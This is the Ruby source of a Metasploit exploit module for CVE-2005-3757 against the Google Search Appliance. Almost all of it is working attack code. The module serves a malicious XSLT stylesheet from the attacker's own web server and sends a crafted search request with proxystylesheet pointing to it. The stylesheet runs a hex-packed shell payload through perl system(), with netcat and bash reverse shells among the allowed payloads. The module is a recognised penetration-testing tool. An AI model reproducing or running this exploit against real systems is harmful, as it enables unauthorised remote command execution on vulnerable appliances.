Google Appliance ProxyStyleSheet Command Execution



##

# $Id: google_proxystylesheet_exec.rb 9653 2010-07-01 23:33:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',
            'Description'    => %q{
                This module exploits a feature in the Saxon XSLT parser used by
            the Google Search Appliance. This feature allows for arbitrary
            java methods to be called. Google released a patch and advisory to
            their client base in August of 2005 (GA-2005-08-m). The target appliance
            must be able to connect back to your machine for this exploit to work.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9653 $',
            'References'     =>
                [
                    ['CVE', '2005-3757'],
                    ['OSVDB', '20981'],
                    ['BID', '15509'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 4000,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl bash telnet netcat-e',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Aug 16 2005',
            'Stance'         => Msf::Exploit::Stance::Aggressive,
            'DefaultTarget' => 0))
    end

    # Handle incoming requests from the appliance
    def on_request_uri(cli, request)

        print_status("Handling new incoming HTTP request...")

        exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
        data = @xml_data.gsub(/:x:MSF:x:/, exec_str)
        send_response(cli, data)
    end

    def check
        res = send_request_cgi({
            'uri'      => '/search',
            'vars_get' =>
            {
                'client'          => rand_text_alpha(rand(15)+1),
                'site'            => rand_text_alpha(rand(15)+1),
                'output'          => 'xml_no_dtd',
                'q'               => rand_text_alpha(rand(15)+1),
                'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'
            }
        }, 10)

        if (res and res.body =~ /cannot be resolved to an ip address/)
            print_status("This system appears to be vulnerable")
            return Exploit::CheckCode::Vulnerable
        end

        if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
            print_status("This system appears to be patched")
        end

        print_status("This system is not exploitable")
        return Exploit::CheckCode::Safe
    end


    def exploit

        # load the xml data
        path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")
        fd = File.open(path, "rb")
        @xml_data = fd.read(fd.stat.size)
        fd.close

        print_status("Obtaining the appliance site and client IDs...")
        # Send a HTTP/1.0 request to learn the site configuration
        res = send_request_raw({
            'uri'     => '/',
            'version' => '1.0'
        }, 10)

        if !(res and res['location'] and res['location'] =~ /site=/)
            print_status("Could not read the location header: #{res.code} #{res.message}")
            return
        end

        m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
        if !(m and m[1] and m[2])
            print_status("Invalid location header: #{res['location']}")
            return
        end

        print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
        start_service

        print_status("Requesting a search using our custom XSLT...")
        res = send_request_cgi({
            'uri'      => '/search',
            'vars_get' =>
            {
                'client'          => m[2],
                'site'            => m[1],
                'output'          => 'xml_no_dtd',
                'q'               => rand_text_alpha(rand(15)+1),
                'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
                'proxyreload'     => '1'
            }
        }, 25)

        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
            print_status("Waiting on the payload to execute...")
            select(nil,nil,nil,20)
        else
            print_status("No response from the server")
        end

        print_status("Shutting down the web service...")
        stop_service
    end

end